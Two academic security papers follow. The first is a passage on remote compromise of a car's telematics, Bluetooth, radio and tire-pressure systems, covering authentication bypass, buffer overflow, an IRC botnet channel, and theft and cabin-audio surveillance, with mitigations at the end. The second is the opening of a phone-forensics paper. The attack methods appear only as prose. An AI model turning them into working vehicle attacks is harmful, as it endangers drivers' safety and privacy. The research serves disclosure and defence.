Command program sends the caller an authentication
request and, serendipitously, it requires a response within
12 seconds or the connection is effectively terminated.
Thus, we simply cannot send data fast enough over an
unauthenticated link to overflow the vulnerable buffer.

While we identified other candidate buffer overflows
of slightly shorter length, we decided instead to focus on
the authentication problem directly.
Vulnerabilities in authentication. When a call is placed
to the car and data mode is initiated, the first command
message sent by the vehicle is a random, three byte au-
thentication challenge packet and the Command program
authentication timer is started. In normal operation, the
TCC hashes the challenge along with a 64-bit pre-shared
key to generate a response to the challenge. When
waiting for an authentication response, the Command
program will not “accept” any other packet (this does
not prevent our buffer overflow, but does prevent sending
other command messages). If an incorrect authentication
response is received, or a response is not received within
the prescribed time limit, the Command program will
send an error packet. When this packet is acknowledged,
the unit hangs up (and it is not possible to send any
additional data until the error packet is acknowledged).

After several failed attempts to derive the shared
key, we examined code that generates authentication
challenges and evaluates responses. Both contained errors
that together were sufficient to construct a vulnerability.

First, we noted that the “random” challenge implemen-
tation is flawed. In most situations, this nonce is static and
identical on the two cars we tested. The key flaw is that
the random number generator is re-initialized whenever
the telematics unit starts — such as when a call comes
in after the car has been off — and it is seeded each time
with the same constant. Therefore, multiple calls to a car
while it is off result in the same expected response. Con-
sequently, an attacker able to observe a response packet
(e.g., via sniffing the cellular link during a TCC-initiated
call) will be able to replay that response in the future.

The code parsing authentication responses has an even
more egregious bug that permits circumvention without
observing a correct response. In particular, there is a flaw
such that for certain challenges (roughly one out of every
256), carefully formatted but incorrect responses will be
interpreted as valid. If the random number generation is
not re-initialized (e.g., if the car is on when repeatedly
called) then the challenge will change each time and 1
out of 256 trials will have the desired structure. Thus,
after an average of 128 calls the authentication test can be
bypassed, and we are able to transmit the exploit (again,
without any indication to the driver). This attack is more
challenging to accomplish when the car is turned off
because the telematics unit can shut down when a call
ends (hence re-initializing the random number generator)
before a second call can reach it.

To summarize, we identified several vulnerabilities in
how our telematics unit uses the aqLink code that, to-
gether, allow a remote exploit. Specifically, there is a
discrepancy between the set of packet sizes supported by
the aqLink software and the buffer allocated by the telem-
atics client code. However, to exploit this vulnerability
requires first authenticating in order to set the call timeout
value long enough to deliver a sufficiently long payload.
This is possible due to a logic flaw in the unit’s authenti-
cation system that allows an attacker to blindly satisfy the
authentication challenge after approximately 128 calls.
Concrete realization. We demonstrate and evaluate
our attack in two concrete forms. First, we implemented
an end-to-end attack in which a laptop running our
custom aqLink-compatible software modem calls our
car repeatedly until it authenticates, changes the timeout
from 12 seconds to 60 seconds, and then re-calls our
car and exploits the buffer overflow vulnerability we
uncovered. The exploit then forces the telematics unit
to download and execute additional payload code from
the Internet using the IP-addressable 3G data capability.

We also found that the entire attack can be imple-
mented in a completely blind fashion — without any
capacity to listen to the car’s responses. Demonstrating
this, we encoded an audio file with the modulated
post-authentication exploit payload and loaded that file
onto an iPod. By manually dialing our car on an office
phone and then playing this “song” into the phone’s
microphone, we are able to achieve the same results and
compromise the car.

5 Remote Exploit Control
Thus far we have described the external attack surface
of an automobile and demonstrated the presence of
vulnerabilities in a range of different external channels.
An adversary could use such means to compromise
a vehicle’s systems and install code that takes action
immediately (e.g., unlocking doors) or in response to



88 20th USENIX Security Symposium USENIX Association

some environmental trigger (e.g., the time of day, speed,
or location as exported via the onboard GPS).

However, the presence of wireless channels in the
modern vehicle qualitatively changes the range of options
available to the adversary, allowing actions to be remotely
triggered on demand, synchronized across multiple
vehicles, or interactively controlled. Further, two-way
channels permit both remote monitoring and data exfil-
tration. In this section, we broadly evaluate the potential
for such post-compromise control, characterize these
capabilities, and evaluate the capabilities via prototype
implementations for TPMS, Bluetooth, FM RDS and Cel-
lular channels. Our prototype attack code is delivered by
exploiting one of the previously described vulnerabilities
(indeed, any exploit would work). Table 2 summarizes
these results, again with our assessment of the effort
required to discover and implement the capability.
TPMS. We constructed two versions of a TPMS-based
triggering channel. One installs code on another ECU
(the telematics ECU in our case, although any ECU would
do) that monitors tire pressure signals as the TPMS ECU
broadcasts them over the CAN bus. The presence of a
particular tire pressure reading then triggers the payload;
the trigger tire pressure value is not expected to be found
in the wild but must instead be adversarially transmitted
over the air. For our second example, the attack reflashes
the TPMS ECU via CAN and installs code onto it that will
detect specific wireless trigger packets and, if detected,
will send pre-programmed CAN packets directly over the
car’s internal network. Both attacks required a custom
TPMS packet generator (described below). The latter
attack also required significant reverse engineering efforts
(e.g., we had to write a custom IDA Pro module for
disassembling the firmware, and we were highly memory
constrained, so that the resulting attack firmware —
hand-written object code — needed to re-use code space
originally allocated for CRC verification, the removal of
which did not impair the normal TPMS functionality).

To experimentally verify these triggers, we reverse-
engineered the 315 MHz TPMS modulation and framing
protocol (far simpler than the aqLink modem) and then im-
plemented a USRP software radio module that generates
the appropriate wireless signals to activate the triggers.
Bluetooth. We modified the Bluetooth exploit code on
the telematics ECU to pair, post compromise, with a
special MAC address used by the adversary and accept
her commands (either triggering existing functionality
or receiving new functionality). We did not explore
exfiltrating data via the two-way Bluetooth channel, but
we see no reason why it would not be possible.
FM RDS. Using the CD-based firmware update attack
we developed earlier, we reflashed the media player ECU
to send a pre-determined set of CAN packets (our pay-
load) when a particular “Program Service Name” message

arrives over the FM RDS channel. We experimentally
verified this with a low-power FM transmitter driven by
a Pira32 RDS encoder; an attacker could communicate
over much longer ranges using higher power. Table 2 lists
the cost for this attack as medium given the complexity
of programming/debugging in the media player execution
environment (we bricked numerous CD players before
finalizing our implementation and testing on our car).
Cellular. We modified our telematics exploit payload
to download and run a small (400 lines of C code) IRC
client post-compromise. The IRC client uses the vehicle’s
high bandwidth 3G data channel to connect to an IRC
server of our choosing, self-identifies, and then listens
for commands. Subsequently, any commands sent to this
IRC server (from any Internet connected host) are in turn
transmitted to the vehicle, parsed by the IRC client, and
then transmitted as CAN packets over the appropriate
bus. We further provided functionality to use this channel
in both a broadcast mode (where all vehicles subscribed
to the channel respond to the commands) or selectively
(where commands are only accepted by the particular
vehicle specified in the command). For the former, we
experimentally verified this by compromising two cars
(located over 1,000 miles apart), having them both join
the IRC channel, and then both simultaneously respond
to a single command (for safety, the command we sent
simply made the audio systems on both cars chime).
Finally, the high-bandwidth nature (up to 1 Mbps at
times) of this channel makes it easy to exfiltrate data. (No
special software is needed since ftp is provided on the
host platform.) To make this concrete we modified our
attack code for two demonstrations: one that periodically
“tweets” the GPS location of our vehicle and another that
records cabin audio conversations and sends the recorded
data to our servers over the Internet.

6 Threat Assessment
Thus far we have considered threats primarily at a
technical level. Previously, we have shown that gaining
access to a car’s internal network provides sufficient
means for compromising all of its systems (including
lights, brakes, and engine) [14]. In this paper, we have
further demonstrated that an adversary has a practical
opportunity to effect this compromise (i.e., via a range
of external communications channels) without having
physical access to the vehicle. However, real threats
ultimately have some motive as well: a more concrete
goal that is achieved by exploiting the capability to attack.

This leaves unanswered the crucial question: Just how
serious are the threats? Obviously, there are no clear
ways to predict such things, especially in the absence
of any known attacks in the wild. However, we can
reason about how the capabilities we have identified
can be combined in service to known goals. While one
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Channel Range Implemented Control / Trigger Exfiltration Cost

TPMS (tire pressure) Short Predefined tire pressure sequences causes telematics unit to send CAN
packets

No Low-Medium

TPMS (tire pressure) Short TPMS trigger causes TPMS receiver to send CAN packets No Medium
Bluetooth Short Presence of trigger MAC addresses allows remote control Yes∗ Low
FM radio (RDS channel) Long FM RDS trigger causes radio to send CAN packets No Medium
Cellular Global IRC command-and-control (botnet) channel allows broadcast and

single-vehicle control
Yes Low

Table 2: Implemented control and trigger channels. The Cost column captures the approximate effort to develop this
post-compromise control capability. The Exfiltration column indicates whether this channel can also be used to exfiltrate
data. For (∗), we did not experimentally verify data exfiltration over Bluetooth.

can easily envision hypothetical “cyber war” or terrorist
scenarios (e.g., infect large numbers of cars en masse
via war dialing or a popular audio file and then, later,
trigger them to simultaneously disengage the brakes
when driving at high speed), our lack of experience with
such concerns means such threats are highly speculative.

Instead, to gauge whether these threats create practical
risks, we consider (briefly) how the raw capabilities we
have identified might affect two scenarios closer to our
experience: financially motivated theft and third-party
surveillance.
Theft. Using any of our implemented exploit capabilities
(CD, PassThru, Bluetooth, and cellular), it is simple
to command a car to unlock its doors on demand, thus
enabling theft. However, a more visionary car thief
might realize that blind, remote compromise can be used
to change both scale and, ultimately, business model.
For example, instead of attacking a particular target
car, the thief might instead try to compromise as many
cars as possible (e.g., by war dialing). As part of this
compromise, he might command each car to contact a
central server and report back its GPS coordinates and
Vehicle Identification Number (VIN). The IRC network
described in Section 5 provides just this capability. The
VIN in turn encodes the year, make and model of each car
and hence its value. Putting these capabilities together,
a car thief could “sift” through the set of cars, identify
the valuable ones, find their location (and perhaps how
long they have been parked) and, upon visiting a target
of interest then issue commands to unlock the doors and
so on. An enterprising thief might stop stealing cars
himself, and instead sell his capabilities as a “service”
to other thieves (“I’m looking for late model BMWs or
Audis within a half mile of 4th and Broadway. Do you
have anything for me?”) Careful readers may notice
that this progression mirrors the evolution of desktop
computer compromises: from individual attacks, to mass
exploitation via worms and viruses, to third-party markets
selling compromised hosts as a service.

While the scenario itself is today hypothetical, we have
evaluated a complete attack whereby a thief remotely
disables a car’s security measures, allowing a unskilled
accomplice to enter the car and drive it away. Our attack

directs the car’s compromised telematics unit to unlock
the doors, start the engine, disengage the shift lock
solenoid (which normally prevents the car from shifting
out of park without the key present), and spoof packets
used in the car’s startup protocol (thereby bypassing the
existing immobilizer anti-theft measures11). We have
implemented this attack on our car. In our experiments
the accomplice only drove the “stolen” car forward and
backward because we did not want to break the steering
column lock, though numerous online videos demonstrate
how to do so using a screwdriver. (Other vehicles have
the steering column lock under computer control.)
Surveillance. We have found that an attacker who has
compromised our car’s telematics unit can record data
from the in-cabin microphone (normally reserved for
hands-free calling) and exfiltrate that data over the con-
nected IRC channel. Moreover, as said before, it is easy
to capture the location of the car at all times and hence
track where the driver goes. These capabilities, which
we have experimentally evaluated, could prove useful
to private investigators, corporate spies, paparazzi, and
others seeking to eavesdrop on the private conversations
within particular vehicles. Moreover, if the target vehicle
is not known, the mass compromise techniques described
in the theft scenario can also be brought to bear on this
problem. For example, someone wishing to eavesdrop
on Google executives might filter a set of compromised
cars down to those that are both expensive and located in
the Google parking lot at 10 a.m. The location of those
same cars at 7 p.m. is likely to be the driver’s residence,
allowing the attacker to identify the driver (e.g., via com-
mercial credit records). We suspect that one could identify
promising targets for eavesdropping quite quickly in this
manner.

7 Discussion and Synthesis
Our research provides us with new insights into the
risks with modern automotive computing systems. We
begin here with a discussion of concrete directions for
increasing security. We then turn to our now broadly

11Past work on bypassing immobilizers required prior direct or in-
direct access to the car’s keys, e.g., Bono et al. [2] and Francillon
et al. [9].
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informed reflections on why vulnerabilities exist today
and the challenges in mitigating them.

7.1 Implementation fixes
Our concrete, near-term recommendations fall into two
familiar categories: restrict access and improve code ro-
bustness. Given the high interconnectedness of car ECUs
necessary for desired functionality, the solution is not to
simply remove or harden individual components (e.g., the
telematics unit) or create physically isolated subnetworks.

We were surprised at the extent to which the car’s
externally facing interfaces were open to unsolicited
communications — thereby broadening the attack surface
significantly. Indeed, very simple actions, such as not
allowing Bluetooth pairing attempts without the driver’s
first manually placing the vehicle in pairing mode, would
have undermined our ability to exploit the vulnerability
in the underlying Bluetooth code. Similarly, we believe
the cellular interface could be significantly hardened by
using inbound calls only to “wake up” the car (i.e., never
for data transfer) and having the car itself periodically
dial out for requests while it is active. Finally, use of
application-level authentication and encryption (e.g.,
via OpenSSL) in the PassThru device’s proprietary
configuration protocol would have prevented its code
from being exploited as well.

However, rather than assume the attack surface will
not be breached, the underlying code platform should
be hardened as well. These include standard security
engineering best-practices, such as not using unsafe
functions like strcpy, diligent input validation, and
checking function “contracts” at module boundaries. As
an additional measure of protection against less-motivated
adversaries, we recommend removing all debugging
symbols and error strings from deployed ECU code.

We also encourage the use of simple anti-exploitation
mitigations such as stack cookies and ASLR that can
be easily implemented even for simple processors and
can significantly increase the exploit burden for poten-
tial attackers. In the same vein, critical communications
channels (e.g., Bluetooth and telematics) should have
some amount of behavioral monitoring. The car should
not allow arbitrary numbers of connection failures to go
unanswered nor should outbound Internet connections to
arbitrary destinations be allowed. In cases where ECUs
communicate on multiple buses, they should only be al-
lowed to be reflashed from the bus with the smallest ex-
ternal attack surface. This does not stop all attacks where
one compromised ECU affects an ECU on a bus with
a smaller attack surface, but it does make such attacks
more difficult. Finally, a number of the exploits we de-
veloped were also facilitated by the services included in
several units. For example, we made extensive use of
telnetd, ftp, and vi, which were installed on the

PassThru and telematics devices. There is no reason for
these extraneous binaries to exist in shipping ECUs, and
they should be removed before deployment, as they make
it easier to exploit additional connectivity to the plat-
form.

Finally, secure (authenticated and reliable) software
updates must also be considered as part of automotive
component design.

7.2 Vulnerability drivers
While the recommendations in Section 7.1 can signifi-
cantly increase the security of modern cars against exter-
nal attacks and post-compromise control, none of these
ideas are new or innovative. Thus, perhaps the more inter-
esting question is why they have not been applied in the
automotive environment already. Our findings and subse-
quent interactions with the automotive industry have given
us a unique vantage point for answering this question.

One clear reason is that automobiles have not yet been
subjected to significant adversarial pressures. Tradition-
ally automobiles have not been network-connected and
thus manufacturers have not had to anticipate the actions
of an external adversary; anyone who could get close
enough to a car to modify its systems was also close
enough to do significant damage through physical means.
Our automotive systems now have broad connectivity;
millions of cars on the road today can be directly
addressed via cellular phones and via the Internet.

This is similar to the evolution of desktop personal
computer security during the early 1990s. In the same
way that connecting PCs to the Internet exposed extant
vulnerabilities that previously could not conveniently be
exploited, so too does increasing the connectivity of auto-
motive systems. This analogy suggests that, even though
automotive attacks do not take place today, there is cause
to take their potential seriously. Indeed, much of our work
is motivated by a desire that the automotive manufacturers
should not repeat the mistakes of the PC industry — wait-
ing for high profile attacks before making security a top
priority [18, 19]. We believe many of the lessons learned
in hardening desktop systems (such as those suggested ear-
lier) can be quickly re-purposed for the embedded context.

However, our experimental vulnerability analyses also
uncover an ecosystem for which high levels of assurance
may be fundamentally challenging. Reflecting upon
our discovered vulnerabilities, we noticed interesting
similarities in where they occur. In particular, virtually
all vulnerabilities emerged at the interface boundaries
between code written by distinct organizations.

Consider for example the Airbiquity software modem,
which appears to have been delivered as a completed
component. We found vulnerabilities not in the software
modem itself but rather in the “glue” code calling it
and binding it to other telematics functions. It was here
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that the caller did not appear to fully understand the
assumptions made by the component being called.

We find this pattern repeatedly. The Bluetooth vulner-
ability arose from a similar misunderstanding between
the callers of the Bluetooth protocol stack library and its
implementers (again in glue code). The PassThru vulnera-
bility arose in script-based glue code that tried to interface
a proprietary configuration protocol with standard Linux
configuration scripts. Even the media player firmware
update vulnerability appears to have arisen because the
manufacturer was unaware of the vestigial CD-based
reflashing capability implemented in the code base.

While interface boundary problems are common in
all kinds of software, we believe there are structural rea-
sons that make them particularly likely in the automo-
tive industry. In particular, the automotive industry has
adopted an outsourcing approach to software that is quite
similar to that used for mechanical components: supply
a specification and contract for completed parts. Thus,
for many components the manufacturer does not do the
software development and is only responsible for integra-
tion. We have found, for example, that different model
years of ECUs with effectively the same functionality
used completely different source code bases because they
were provided by different suppliers. Indeed, we have
come to understand that frequently manufacturers do not
have access to the source code for the ECUs they con-
tract for (and suppliers are hesitant to provide such code
since this represents their key intellectual property ad-
vantage over the manufacturer). Thus, while each sup-
plier does unit testing (according to the specification)
it is difficult for the manufacturer to evaluate security
vulnerabilities that emerge at the integration stage. Tra-
ditional kinds of automated analysis and code reviews
cannot be applied and assumptions not embodied in the
specifications are difficult to unravel. Therefore, while
this outsourcing process might have been appropriate for
purely mechanical systems, it is no longer appropriate for
digital systems that have the potential for remote compro-
mise.

Developing security solutions compatible with the
automotive ecosystem is challenging and we believe
it will require more engagement between the computer
security community and automotive manufacturers (in
the same way that our community engages directly with
the makers of PC software today).

8 Conclusions
A modern automobile is controlled by tens of distinct
computers physically interconnected with each other via
internal (wired) buses and thus exposed to one another.
A non-trivial number of these components are also exter-
nally accessible via a variety of I/O interfaces. Previous
research showed that an adversary can seriously impact

the safety of a vehicle if he or she is capable of sending
packets on the car’s internal wired network [14], and
numerous other papers have discussed potential security
risks with future (wired and wireless) automobiles in
the abstract or on the bench [10, 15, 24, 26, 27, 28].
To the best of our knowledge, however, we are the
first to experimentally and systematically study the
externally-facing attack surface of a car.

Our experimental analyses focus on a representative,
moderately priced sedan. We iteratively refined an auto-
motive threat model framework and implemented com-
plete, end-to-end attacks along key points of this frame-
work. For example, we can compromise the car’s ra-
dio and upload custom firmware via a doctored CD, we
can compromise the technicians’ PassThru devices and
thereby compromise any car subsequently connected to
the PassThru device, and we can call our car’s cellular
phone number to obtain full control over the car’s telem-
atics unit over an arbitrary distance. Being able to com-
promise a car’s ECU is, however, only half the story: The
remaining concern is what an attacker is able to do with
those capabilities. In fact, we show that a car’s externally-
facing I/O interfaces can be used post-compromise to
remotely trigger or control arbitrary vehicular functions
at a distance and to exfiltrate data such as vehicle lo-
cation and cabin audio. Finally, we consider concrete,
financially-motivated scenarios under which an attacker
might leverage the capabilities we develop in this pa-
per.

Our experimental results give us the unique oppor-
tunity to reflect on the security and privacy risks with
modern automobiles. We synthesize concrete, pragmatic
recommendations for future automotive security, as well
as identify fundamental challenges. We disclosed our
results to relevant industry and government stakeholders.
While defending against known vulnerabilities does not
imply the non-existence of other vulnerabilities, many
of the specific vulnerabilities identified in this paper have
or will soon be addressed.
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Abstract
We present DEC0DE, a system for recovering information
from phones with unknown storage formats, a critical
problem for forensic triage. Because phones have myr-
iad custom hardware and software, we examine only the
stored data. Via flexible descriptions of typical data struc-
tures, and using a classic dynamic programming algo-
rithm, we are able to identify call logs and address book
entries in phones across varied models and manufactur-
ers. We designed DEC0DE by examining the formats of
one set of phone models, and we evaluate its performance
on other models. Overall, we are able to obtain high
performance for these unexamined models: an average
recall of 97% and precision of 80% for call logs; and
average recall of 93% and precision of 52% for address
books. Moreover, at the expense of recall dropping to
14%, we can increase precision of address book recovery
to 94% by culling results that don’t match between call
logs and address book entries on the same phone.

1 Introduction

When criminal investigators search a location and seize
computers and other artifacts, a race begins to locate off-
site evidence. Not long after a search warrant is executed,
accomplices will erase evidence; logs at cellular providers,
ISPs, and web servers will be rotated out of existence; and
leads will be lost. Moreover, investigators make the most
progress during on-scene interviews of suspects if they are
able to ask about on-scene evidence. Mobile phones are of
particular interest to investigators. Address book entries
and call logs contain valuable information that can be used
to construct a timeline, compile a list of accomplices, or
demonstrate intent. Further, phone numbers can provide
a link to a geographical location via billing records. For
crimes involving drug trafficking, child exploitation, and
homicide, these leads are critical [17].

The process of quickly acquiring important evidence
on-scene in a limited but accurate fashion is called foren-

sic triage [16]. Unfortunately, digital forensics is a time-
consuming task, and once computers are seized and sent
off site, examination results are returned after a months-
long work queue. Getting partial results on-scene ensures
certain leads and evidence are recovered sooner.

Forensic triage is harder for phones than desktop com-
puters. While the Windows/Intel platform vastly domi-
nates desktops, the mobile phone market is based on more
than ten operating systems and more than ten platform
manufacturers making use of an unending introduction
of custom hardware. In 2010, 1.6 billion new phones
were sold [15], with billions of used phones still in use.
Smart phones, representing only 20% of new phones [15],
store information from thousands of applications each
with potentially custom data formats. The more popu-
lar feature phones, while simpler devices, are quick to
be released and replaced by new models with different
storage formats. Both types of phones are problematic as
phone application, OS, and file system specifications are
closely guarded as commercial secrets. Companies do not
typically release information required for correct parsing.

Assuming the phone is not locked by the user, the
easiest method of phone triage is to simply flip through the
phone’s interface for interesting information. This time-
consuming process can destroy the integrity of evidence,
as there is no guarantee data will not be modified during
the browse. Similarly, backups of the phone may be
examined, but neither backups nor manual browsing will
recover deleted data and data otherwise hidden by the
phone’s interface. Hidden data can include metadata, such
as timestamps and flags, that can demonstrate a timeline
and user intent, both of which can be critical for the legal
process.

Forensic investigation begins with data acquisition and
the parsing of raw data into information. The challenge
of phones and embedded systems is that too often the
exact data format used on the device has never been seen
before. Hence, a manual process of reverse engineering
begins — a dead-end for practitioners. Recent research on

1
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automated reverse engineering is largely focused on the in-
strumentation of the system and executables [1,6]. While
accurate and reasonable for the common Windows/Intel
desktop platform, construction of a new instrumentation
system for every phone architecture-OS combination in
use would require significant time for each and an exper-
tise not present in the practitioner community.

In this paper, we focus on a data-driven approach to
phone triage. We seek to quickly parse data from the
phone without analyzing or instrumenting software. We
aim to obtain high quality results, even for phones that
have not been previously encountered by our system. Our
solution, called DEC0DE, leverages success from already
examined phones in the form of a flexible library of prob-
abilistic finite state machines. Our main insight is that the
variety of phone models and data formats can be lever-
aged for recovering information from new phones. We
make three primary contributions:

• We propose a method of block hash filtering for re-
vealing the most interesting blocks within a large
store on a phone. We compare small blocks of un-
parsed data from a target phone to a library of known
hashes. Collisions represent blocks that contain con-
tent common to the other phones, and therefore not
artifacts specific to the user, e.g., phone numbers
or call log entries. Our methods work in seconds,
reducing acquired data by 69% on average, without
removing usable information.

• To recover information from the remaining data, we
adapt techniques from natural language processing.
We propose an efficient and flexible use of probabilis-
tic finite state machines (PFSMs) to encode typical
data structures. We use the created PFSMs along
with a classic dynamic programming algorithm to
find the maximum likelihood parse of the phone’s
memory.

• We provide an extensive empirical evaluation of our
system and its ability to perform well on a large
variety of previously unexamined phone models. We
apply our PFSM set — unmodified — to six other
phone models from Nokia, Motorola, and Samsung
and show that our methods are able to recover call
logs with 97% recall and 80% precision and address
books with 93% recall and 52% precision for this set
of unseen models.

There are a series of commercial products that parse
data from phones (e.g., .XRY, cellebrite, and Paraben).
However, these products rely on slow, manual reverse
engineering for each phone model. Moreover, none of
these products will attempt to parse data for previously
unseen phone models. Even the collection of all such
products does not cover all phone models currently on the
market, and certainly not the set of all models still in use.

In contrast, we design and evaluate a general approach
for automatically recovering information on previously
unseen devices, one that leverages information from past
success.

2 Methodology and Assumptions

Our goal is to enable triage-based data recovery for mobile
phones during criminal investigations. Below, we provide
a definition of triage, our problem, and our assumptions.
Unlike much related work, our focus is not on incident
response, malware analysis, privilege escalation, protocol
analysis, or other topics related to security primitives. We
aim to have an impact on any crime where a phone may
be carried by the perpetrator before the crime, held during
the crime, used as part of the crime or to record the crime
(e.g., a trophy photo), or used after the crime.

The triage process. The process of quickly acquiring im-
portant evidence on-scene in a limited but accurate fash-
ion is called forensic triage [16]. Our goals are focused
on the law enforcement triage process, which begins with
a search warrant issued upon probable cause, or one of the
many lawful exceptions [12] to the Fourth Amendment
(e.g., incidence to arrest). Law enforcement has several
objectives when executing a search and performing triage.
The first is locating all devices related to the crime so that
no evidence is missed. The second is identifying devices
that are not relevant to the crime so that they can be ig-
nored, as every crime lab has a months-long backlog for
completing forensic analysis. That delay is only exacer-
bated by adding unneeded work. The third is interviewing
suspects at the crime scene. These interviews are most
effective when evidence found on-scene is presented to
the interviewed person. Similarly, quickly determining
leads for further investigation is critical so that evidence
or persons do not disappear. Central to all of these ob-
jectives is the ability to rapidly examine and extract vital
information from a variety of devices, including mobile
phones.

Phone triage is not a replacement for gathering infor-
mation directly from carriers; however, it can take several
weeks to obtain information from a carrier. Moreover,
carriers store only limited information about each phone.
While most keep call logs for a year, other information is
ephemeral. Text message content is kept for only about
a week by Verizon and Sprint, and the IP address of a
phone is kept for just a few days by AT&T [3]. In contrast,
the same information is often kept by the phone indefi-
nitely and, if deleted, it is still possibly recoverable using
a forensic examination.

The less time it takes to complete a triage of each de-
vice, the more impact our techniques will have. While
some crime scenes involve only a few devices, increas-
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ingly crime scenes involve tens and potentially hundreds
of devices. For example, an office can be the center of op-
erations for a gang, organized crime unit, or para-military
cell. Typically little time is available and, in the case
of search warrants, restrictions are often in place on the
duration of time that a location can be occupied by law en-
forcement. In military scenarios, operations may involve
deciding which, if any, of several persons and devices
in a location should be brought back using the limited
space in a vehicle; forensic triage is a common method of
deciding.

Problem definition. Our goal is to enable investigators
to extract information quickly (e.g., in 20 minutes or less)
from a phone, regardless of whether that exact phone
model has been encountered before. We limit our results
to information that is common to phones — address books
and call logs — but is stored differently by each phone.
Triage is not a replacement for a secondary, in-depth
examination; but it does achieve shortened delay with a
minimal reduction in recall and precision. Recall is the
fraction of all records of interest that are recovered from a
device; precision is the fraction of recovered records that
are correctly parsed.

Data acquisition. We make the following assumptions
in the context of on-site extraction of information from
embedded devices. The technical process of extracting
a memory dump from a phone starts off very differently
compared to laptops and desktops. Data on a phone is
typically stored in custom solid state memory. These
chips are typically soldered onto a custom motherboard,
and data extraction without burning out the chip requires
knowledge of pinouts. For that reason, several other meth-
ods are in common use for extracting data. Broadly, data
can be extracted representing either the logical or phys-
ical layout of memory. Often these representations are
referred to as the logical or physical image of a device,
respectively.

A logical image is typically easier to obtain and parse;
however, it suffers from some serious limitations. First, it
only contains information that is presented by the file sys-
tem or other application interfaces. It omits deleted data,
metadata about content, and the physical layout of data in
memory (which we use in our parsing). Second, logical-
extraction interfaces typically enforce access rules (e.g.,
preventing access to a locked phone) and may modify data
or metadata upon access. Examples of logical extraction
include using phone backup software or directly browsing
through a phone using its graphical user interface. Due to
the above deficiencies, our techniques operate directly on
the physical image.

A physical image contains the full layout of data stored
in a phone’s memory, including deleted data that has not
yet been overwritten; however, parsing raw data presents

a significant challenge to investigators — one our tech-
niques attempt to address. We discuss the parsing chal-
lenges further in Section 3.2.

Physical extraction requires an interface that is below
the phone’s OS or applications. There are a few different
ways of acquiring a physical image. For example, some
phones are compatible with flasher boxes [11], while oth-
ers allow for extraction via a JTAG interface, or physical
removal of the chip. Physical extraction typically takes
between a few minutes and an hour depending on the
extraction method, size of storage, and bus bandwidth.
When we evaluate our techniques, we assume the prior
ability to acquire the physical image of the phone.

Numerous companies sell commercial products that
acquire data from phones, both logically and physically.
This acquisition process is easier than the recovery of
information from raw data, though still a challenge and
not one we address. Of course, we do not expect our
methods to be used on phones for which the format of data
is already known. But no company offers a product that
addresses even a large portion of the phone market and
no combination of products covers all possible phones,
even among the market of phones still being sold. Used
phones in place in the US and around the world number at
least an order of magnitude larger than phones still being
manufactured.

Limitations of our threat model. We assume the owner
of the phone has left data in a plaintext, custom format
that is typical of how computers store information. We
allow for encryption and even simple obfuscation, but we
do not propose techniques that would defeat either. While
this threat model is weak, it is representative of phone
users involved in traditional crimes. Some smart-phones
encrypt data, most do not; and almost all feature phones
do not, and they represent 80% of the market [15]. Further,
it is not possible for one attacker to encrypt the data of
every other phone in existence, and our techniques work
on all phones for which plaintext can be recovered. In
other words, while we allow for any one person to encrypt
their data, it does not significantly limit the impact of our
results.

3 Design of DEC0DE

In this section, we provide a high-level overview of
DEC0DE including its input, primary components, and
output.

DEC0DE takes the physical image of a mobile phone
as input. We can think of the physical image as a stream
of bytes with an unknown structure and no explicit de-
limiters. DEC0DE filters and analyzes this byte stream
to extract important information, presenting the output to
the investigator. The internal process it uses is composed

3
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Figure 1: An illustration of the DEC0DE’s process. Data ac-
quired from a phone is passed first through a filtering mechanism
based on hash sets of other phones. The remaining data is input
to a multistep inference component, largely based on a set of
PFSMs. The output is a set of records representing information
found on the phone. The PFSMs can optionally be updated to
improve the process.

of two components, illustrated in Fig. 1: (i) block hash
filtering and (ii) inference.

DEC0DE uses the block hash filter to exclude sub-
sequences of bytes that do not contain information of
interest to investigators. The primary purpose of this fil-
tering is to reduce the amount of data that needs to be
examined and therefore increase the speed of the system.

DEC0DE parses the filtered byte stream to extract in-
formation first in the form of fields and then as records.
Fields are the basic unit of information and they in-
clude data types such as phone numbers and timestamps.
Records are groups of semantically related fields that con-
tain evidence of interest to investigators, e.g., address
book entries. The inference component is designed to
be both extensible and flexible, allowing an investigator
to iteratively refine rules and improve results when time
allows.

3.1 Block Hash Filtering

DEC0DE’s block hash filtering component (BHF) is
based on the notion that long identical byte sequences
found on different phones are unnecessary for triage. That
is, such sequences are unlikely to contain useful informa-
tion for investigators. Mobile phones use a portion of
their physical memory to store operating system software
and other data that have limited utility for triage. BHF
is designed to remove this cruft and reduce the number
of bytes that needs to be analyzed, thereby increasing the
speed of the system.

Description. DEC0DE’s block hash filter logically di-
vides the input byte stream into small subsequences of

d

n

Step 0: Before Filtering

Step 1: Stream Split Into Overlapping Blocks

Step 2: Block 1 Collision

Step 3: After Filtering

Raw Stream

Block 2
Block 1

Block 0

collision

Figure 2: Block hash filtering takes a stream of n bytes and
creates a series of overlapping blocks of length b. The start of
each block differs by d ≤ b bytes. Any collision of the hash of
a block with a block on another phone (or the same phone) is
filtered out.

bytes. We refer to each of these subsequences as a block.
DEC0DE filters out a block if its hash value matches a
value in a library of hashes computed from other phones.
Blocks may repeat within the same phone, but only the
first occurrence of each block remains after filtering.
DEC0DE uses block hashes, rather than a direct byte com-
parison, to improve system performance; However, BHF
may lead to erroneous filtering due to block collisions.
One type of collision arises when blocks with different
byte sequences share the same hash value. Another type
of collision occurs when blocks share the same subse-
quence even though they actually contain user informa-
tion. Currently, DEC0DE mitigates the risk of collisions
by using a cryptographic hash function and a sufficiently
large block size.

To make the filter more resilient to small perturbations
in byte/block alignment, DEC0DE uses a sliding window
technique with overlap between the bytes of consecutive
blocks [22]. In other words, the last bytes of a block are
the same as the first bytes of the next block.

More formally, DEC0DE logically divides an input
stream of n bytes, into blocks of b bytes with a shift
of d ≤ b bytes between the start of successive blocks.
The SHA-1 hash value for each block is computed and
compared to the hash library. DEC0DE filters out all
matched blocks. Fig 2 illustrates a simple example.

As we show empirically in Section 5, nearly all of the
benefit of block hash filtering can be realized by just using
another phone of the same make and model. This result
ensures BHF is scalable as the test phone need not be
compared to all phones in an investigator’s library.

The general idea of our block hash filter is similar
to work by a variety of researchers in a number of do-
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0042006F0062000B0B01000300000B1972642866600008130207D603070F1A17

Unicode 11-digit phone number Timestamp

Figure 3: A simplified example of raw data as stored by a Nokia
model phone, labeled with the correct interpretation. DEC0DE
outputs a call log: the Unicode string “Bob”; the phone number
(0xB digits long and null terminated) 1-972-642-8666; and the
timestamp 3/7/2006 3:26:23 PM.

mains [9,13,22]. Our primary contribution is the empiri-
cal analysis of the technique in the phone domain. Further
discussion of related work is given in Section 6.

